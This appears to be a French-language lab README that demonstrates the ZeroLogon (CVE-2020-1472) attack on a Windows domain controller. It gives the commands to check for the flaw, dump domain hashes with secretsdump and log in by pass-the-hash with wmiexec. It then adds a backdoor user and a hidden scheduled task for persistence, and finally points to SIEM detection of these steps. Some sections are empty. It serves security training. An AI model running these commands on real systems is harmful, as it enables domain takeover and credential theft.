100hnomeunome/zerologon-cve-2020-1472-labExplication et démonstration de la vulnérabilité ZeroLogon (CVE-2020-1472)
Explication et démonstration de la vulnérabilité ZeroLogon (CVE-2020-1472)
L'objectif de ce laboratoire est strictement éducatif. Son exécution n'est pas recommandée dans des environnements de production ou qui ne vous appartiennent pas.
Contexte de la vulnérabilité
Cette vulnérabilité permet à un cybercriminel de prendre le contrôle d'un contrôleur de domaine (DC). Cela se fait en modifiant ou en supprimant le mot de passe d'un compte de service sur le contrôleur. L'agent malveillant peut simplement causer un déni de service ou prendre le contrôle et posséder tout le réseau. En août 2020, Microsoft a publié un correctif.
Composant affecté : Microsoft Netlogon Remote Protocol (MS-NRPC)
Versions de Windows affectées :
Cloner les dépôts
Si exécuté localement !
Sur AWS c'est également possible avec ces images (attention à la facturation)
Supplément : Un compte Wazuh pour l'analyse des événements du SIEM.
Astuce : Sous Kali Linux, le service SSH est désactivé par défaut — il est nécessaire de le démarrer manuellement.
Avant de tester si le serveur est vulnérable, nous pouvons utiliser nmap pour voir quels ports sont ouverts :
nmap -sS -T4 -F --open -n ip
En utilisant CVE-2020-1472 - Tester si le serveur cible est vulnérable. Exécutez la commande :
zerologon_tester.py <dc-name> <dc-ip>
L'outil secretdump est une boîte à outils d'Impacket
python3 secretsdump.py -just-dc wayne/w2008\[email protected]
python3 wmiexec.py wayne/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:088386eb6982d0c2f8960c26b1ff9e6c
Si tout se passe bien, nous pourrons nous connecter avec le hash Qu'est-ce qu'une attaque pass-the-hash ?
Maintenant, il suffit de créer une persistance ! Cela peut être un nouvel utilisateur !
net user coringa Batman2025 /add
Fait ! L'utilisateur a été créé avec succès !
Il est également possible de créer une tâche !
mkdir C:\Temp
schtasks /Create /TN "CriarBackupPS1" /TR "powershell -NoProfile -WindowStyle Hidden -Command \"New-Item -Path 'C:\Temp\backup.ps1' -ItemType File -Force -Value '# backup script'\"" /SC ONLOGON /RL HIGHEST /F
Il est possible de voir la création de l'utilisateur et les événements liés au pass-the-hash et la création d'utilisateurs !
